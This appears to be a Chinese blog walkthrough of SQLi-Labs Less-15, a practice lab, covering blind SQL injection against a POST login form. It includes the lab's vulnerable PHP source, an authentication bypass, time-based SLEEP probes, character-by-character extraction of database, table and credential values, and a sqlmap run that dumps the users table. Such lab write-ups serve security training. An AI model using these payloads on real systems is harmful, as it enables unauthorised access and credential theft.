当前位置: 首页 > news >正文

sqli-labs通关笔记-第15关 POST字符型盲注(单引号闭合 手工注入+脚本注入两种方法)

目录

一、SQL盲注

1、布尔盲注(Boolean-Based Blind SQL Injection)

2、时间盲注(Time-Based Blind SQL Injection)

3、盲注区别

二、GET方法与POST方法

三、源码分析

1、代码审计

2、SQL注入安全分析

四、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句

(2)admin' or 1=1#注入探测

(3)' or length(database())=8#布尔盲注探测

(4)' or length(database())<0#布尔盲注探测

(5)admin' and if(length(database())>1,sleep(3),1)-- 时间盲注探测

 3、手动注入

(1)获取数据库名

(2)获取表名

(3)获取列名

(4)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手注法和脚本法共两种方法分别对第15关Less 15基于POST字符型的SQL盲注关卡进行渗透实战,相对于第14关区别主要是闭合方式由双引号括号变为单引号,渗透注入的方法由报错型变为盲注法。  

一、SQL盲注

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

1、布尔盲注(Boolean-Based Blind SQL Injection)

布尔盲注是 SQL 注入的一种,适用于 Web 应用仅返回两种状态(如 “登录成功 / 失败”“页面正常 / 异常”)的场景。攻击者通过构造条件语句(如AND 1=1或AND 1=2),根据页面返回的布尔结果判断条件是否成立,逐步推断数据库信息。例如,若输入' AND LENGTH(database())=8 --后页面正常,则说明当前数据库名长度为 8 字节。攻击者需逐位猜测数据(如通过 ASCII 码验证每个字符),效率中等,但无需数据库返回错误信息,适用于无回显的场景。

2、时间盲注(Time-Based Blind SQL Injection)

时间盲注是在布尔盲注基础上的变种,适用于页面无明确状态回显的场景。攻击者通过构造延时语句(如IF(条件, SLEEP(N), 0)),根据服务器响应时间是否延迟来判断条件是否成立。例如,输入' AND IF((SELECT user()) LIKE 'admin%', SLEEP(5), 0) --,若页面加载延迟 5 秒,则说明当前用户名为admin开头。这种方法不依赖页面状态变化,但需多次发送请求并等待延时,效率较低,且易受网络波动干扰。防御时需禁止用户输入延时函数或严格过滤特殊字符。

3、盲注区别

布尔盲注和时间盲注是SQL盲注的两种主要技术,两者主要区别如下所示。

对比维度布尔盲注(Boolean-based Blind)时间盲注(Time-based Blind)
检测原理根据页面内容/状态的差异判断条件真假根据响应时间的延迟判断条件真假
依赖条件需要页面有可观察的真假状态差异只需要能触发时间延迟
技术实现使用逻辑条件(AND/OR)使用延时函数(SLEEP/BENCHMARK)
请求特征大量真假条件测试带有明显时间延迟的请求
检测效率相对较快(基于内容变化)较慢(需要等待延迟)
隐蔽性较高(类似正常请求)较低(异常延迟可能被监控)

二、GET方法与POST方法

GET 和 POST 是 HTTP 协议中两种常用请求方法,GET 侧重 “获取”,参数可见且有局限性;POST 侧重 “提交”,参数隐蔽且更灵活。两者的详细区别如下表所示。

对比项GET 方法POST 方法
参数位置参数附在 URL 后(如?name=value参数放在 HTTP 请求体中
可见性参数暴露在 URL 中,不安全参数不可见,相对安全
编码支持只允许 ASCII 字符支持任何编码类型
安全性不适合传输敏感数据(如密码)更适合传输敏感数据
应用场景获取数据(如搜索、分页)提交数据(如表单、文件上传)
典型注入点URL 参数(如id=1' OR 1=1 --表单字段(如 POST 数据中的username

三、源码分析

1、代码审计

本关卡Less15是基于字符型的SQL盲注关卡,打开对应的源码index.php,如下所示。

Less15关卡的源码功能是登录验证页面,与14关的区别主要有3个,具体如下所示。

  • 闭合方式由双引号变为单引号。
  • SQL语句执行的数据库报错信息不再打印出来(不再适用报错型注入)。
  • 登录成功和失败页面均无文字信息输出,文字输出无区别(不适用sqlmap进行布尔盲注)。
  • 登录成功显示flag.jpg,失败显示slap.jpg,基于图片差异有助于使用布尔盲注渗透。

第14关和第15关卡的源码区别具体如下所示。

详细注释后的第15关卡源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-15- Blind- Boolian Based- String</title> <!-- 布尔型盲注-字符串 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div><!-- 登录表单区域 -->
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;"><div style="padding-top:10px; font-size:15px;"><form action="" name="form1" method="post"> <!-- POST方式提交表单 --><div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;<input type="text" name="uname" value=""/> <!-- 用户名输入框 --></div>  <div> Password  : &nbsp;&nbsp;&nbsp;<input type="text" name="passwd" value=""/> <!-- 密码输入框 --></div></br><div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /> <!-- 提交按钮 --></div></form></div>
</div><div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00"><?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭PHP错误报告
error_reporting(0);// 检查是否提交了用户名和密码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname = $_POST['uname']; // 获取用户名$passwd = $_POST['passwd']; // 获取密码// 记录用户输入到日志文件$fp = fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// 构造SQL查询 - 单引号直接拼接@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) { // 登录成功echo "<br>";echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">';    // 注意:用户名和密码输出被注释掉echo "<br>";echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; // 成功标志图片    } else { // 登录失败echo '<font color= "#0000ff" font size="3">';// 关键点:错误输出被注释,仅显示失败图片echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; // 失败图片echo "</font>";  }
}
?>
</font>
</div>
</body>
</html>

这是一个基于POST请求的布尔盲注演示页面,通过单引号直接拼接用户输入,利用登录成功/失败时的不同图片响应判断SQL条件真假,主要功能是:

  • 提供用户名和密码的登录表单(POST方法提交)

  • 记录所有登录尝试到result.txt日志文件

  • 使用单引号直接拼接用户输入构造SQL查询

  • 差异化响应:

    • 登录成功:显示flag.jpg图片

    • 登录失败:显示slap.jpg图片

  • 关键特性:

    • 无错误文字信息回显

    • 无数据库报错内容直接显示

    • 仅通过图片变化判断结果

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,原因如下:

  • 未过滤的用户输入:直接将POST参数直接拼接到SQL语句中,没有任何过滤或转义处理,如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  • 字符串拼接方式:SQL查询使用单引号包裹用户输入,攻击者可以闭合单引号注入恶意代码。

  • 布尔盲注条件

    • 成功查询:显示flag.jpg

    • 失败查询:显示slap.jpg

    • 这种差异可用于构造条件判断

  • 时间盲注条件:成功和失败查询均无文字信息,可以能通过时间延迟判断条件真假。

四、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第15关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less15关卡,进入到靶场的第15关卡字符型POST盲注关卡,页面提示登录框,需要输入用户名和密码,具体如下所示。

http://192.168.59.1/sqli-labs/Less-15/

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡通过 POST 方法接收用户名(username)和密码(passwd),通过双引号包裹用户名和密码字段构造SQL查询。登录成功时显示成功图片;失败时显示失败图片,登录成功和失败都没有任何文字信息输出。具体代码如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

页面整体存在盲注风险,核心根源在于未对输入做安全处理且暴露数据库错误细节,闭合方式为单引号,故而本关卡可以通过POST方法字符型盲注进行渗透。

(2)admin' or 1=1#注入探测

根据上一步我们分析注入点为username和passwd,尝试万能登录,用户名为admin' or 1=1#,密码任意,点击登录submit,登录成功,页面显示登录成功的图片,具体如下所示。

admin' or 1=1#

 在burpsuite的历史记录中找到这个报文,抓包效果如下所示。

此时在报文request请求部分右键,选择copy to file并保存为sqli-labs15.txt,如下所示。

(3)' or length(database())=8#布尔盲注探测

用户名为 or length(database())=8#,密码任意,点击登录submit,页面显示登录成功的图片,说明数据库的长度为8,具体如下所示。

(4)' or length(database())<0#布尔盲注探测

用户名为' or length(database())<0#,密码任意,点击登录submit,页面显示登录失败的图片,说明数据库的长度<0是假命题,具体如下所示。

' or length(database())<0#

根据(3)和(4)可知登录成功和失败,可以通过显示图片区分出来,这与源码分析的结果一致,故而本关卡可以使用布尔注入进行渗透。 

(5)admin' and if(length(database())>1,sleep(3),1)-- 时间盲注探测

用户名为admin' and if(length(database())>1,sleep(3),1)-- ,密码任意,点击登录submit,如下所示响应时间为10秒,说明数据库的长度大于1,具体如下所示。 

 3、手动注入

(1)获取数据库名

获取数据库的长度,在用户名处注入,密码填写mooyuan123456如下所示数据库长度为8。

admin' AND LENGTH((DATABASE()))=8-- 

获取数据库名,如下所示数据库名为“security”。

admin' AND SUBSTRING((DATABASE()),1,1)='s'-- 
admin' AND SUBSTRING((DATABASE()),2,1)='e'-- 
admin' AND SUBSTRING((DATABASE()),3,1)='c'-- 
admin' AND SUBSTRING((DATABASE()),4,1)='u'-- 
admin' AND SUBSTRING((DATABASE()),5,1)='r'-- 
admin' AND SUBSTRING((DATABASE()),6,1)='i'-- 
admin' AND SUBSTRING((DATABASE()),7,1)='t'-- 
admin' AND SUBSTRING((DATABASE()),8,1)='y'-- 

(2)获取表名

解析来的目标获取数据库security中的所有表名,如下所示security数据库中所有表格名的长度为29,注入命令具体如下所示。

admin' AND LENGTH((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'))=29-- 

接下来尝试获取security数据库中的所有表名,探测手注命令如下所示,最终获取到表名为emails,referers,uagents,users。

admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),1,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),2,1)='m'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),3,1)='a'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),4,1)='i'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),5,1)='l'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),6,1)='s'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),7,1)=','-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),8,1)='r'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),9,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),10,1)='f'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),11,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),12,1)='r'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),13,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),14,1)='r'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),15,1)='s'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),16,1)=','-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),17,1)='u'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),18,1)='a'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),19,1)='g'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),20,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),21,1)='n'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),22,1)='t'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),23,1)='s'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),24,1)=','-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),25,1)='u'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),26,1)='s'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),27,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),28,1)='r'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),29,1)='s'-- 

(3)获取列名

接下来的目标是获取users表中列名,如下所示security数据库中users表中所有列名的长度为20,注入命令具体如下所示。

admin' AND LENGTH((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'))=20-- 

接下来尝试获取security数据库中users的所有列名,探测手注命令如下所示,最终获取到的所有列名分别如下所示:id,username,password。

admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),1,1)='i'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),2,1)='d'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),3,1)=','-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),4,1)='u'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),5,1)='s'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),6,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),7,1)='r'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),8,1)='n'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),9,1)='a'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),10,1)='m'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),11,1)='e'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),12,1)=','-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),13,1)='p'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),14,1)='a'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),15,1)='s'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),16,1)='s'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),17,1)='w'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),18,1)='o'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),19,1)='r'-- 
admin' AND SUBSTRING((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),20,1)='d'-- 

(4)获取数据

提取第1行username:password对应内容的长度,如下所示长度为9。

admin' AND LENGTH(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)))=9-- 

接下来获取username对应内容,如下所示为dumb,同理可以获取到第1行Password对应的内容,同样为dumb,渗透成功。

admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),1,1)='d'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),2,1)='u'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),3,1)='m'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),4,1)='b'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),5,1)=':'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),6,1)='d'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),7,1)='u'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),8,1)='m'-- 
admin' AND SUBSTRING(((SELECT CONCAT(username,':',password) FROM users LIMIT 0,1)),9,1)='b'-- 

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs15.txt  --current-db --dump --batch

其中sqli-labs15.txt中的注入点被修改为如下所示。

POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-15/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 51uname=admin&passwd=&submit=Submit

sqlmap渗透成功,可以通过时间盲注方法渗透成功,具体信息如下所示。

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin' AND (SELECT 1168 FROM (SELECT(SLEEP(5)))BXzy) AND 'UKwP'='UKwP&passwd=&submit=Submit
---
[03:26:25] [INFO] the back-end DBMS is MySQL
[03:26:25] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[03:26:25] [INFO] fetching current database
[03:26:25] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[03:26:40] [INFO] adjusting time delay to 1 second due to good response times
security
current database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
http://www.lryc.cn/news/597050.html

相关文章:

  • [强网杯 2019]高明的黑客
  • Upload-Labs通关全攻略详细版
  • 百度大涨,AIGC视频生成模型蒸汽机将会给百度带来什么?
  • 2025暑期—05神经网络-卷积神经网络
  • Qt内存管理的核心点
  • sass中@mixin与 @include
  • 云效CICD教程(PHP项目)
  • go语言数据结构与排序算法
  • Http证书体系及证书加密流程(通信流程)
  • Web开发基础与RESTful API设计实践指南
  • kafka动态配置详解
  • 基于Kafka实现动态监听topic功能
  • 变频器实习DAY12
  • (一)从零搭建unity3d机械臂仿真-unity3d导入urdf模型
  • Kafka——Kafka中的位移提交
  • git 修改最近一次 commit 信息
  • 【2025】使用vue构建一个漂亮的天气卡片
  • Dify实战,获取禅道需求,编写测试用例到禅道
  • [AI8051U入门第八步]硬件IIC驱动AHT10温湿度传感器
  • Web 服务器和Web 中间件
  • 主流软件开发方法综述:从敏捷到开源
  • 利用中间件实现任务去重与分发精细化:股吧舆情数据采集与分析实战
  • 如何高效合并音视频文件
  • 设计模式九:构建器模式 (Builder Pattern)
  • echarts【实战】饼状图点击高亮,其他区域变暗
  • flutter使用CupertinoPicker绘制一个传入数据源的省市区选择器
  • [Bug | Cursor] import error: No module named ‘data‘
  • C++刷题 - 7.23
  • 【C++】类和对象(中)构造函数、析构函数
  • nrm指南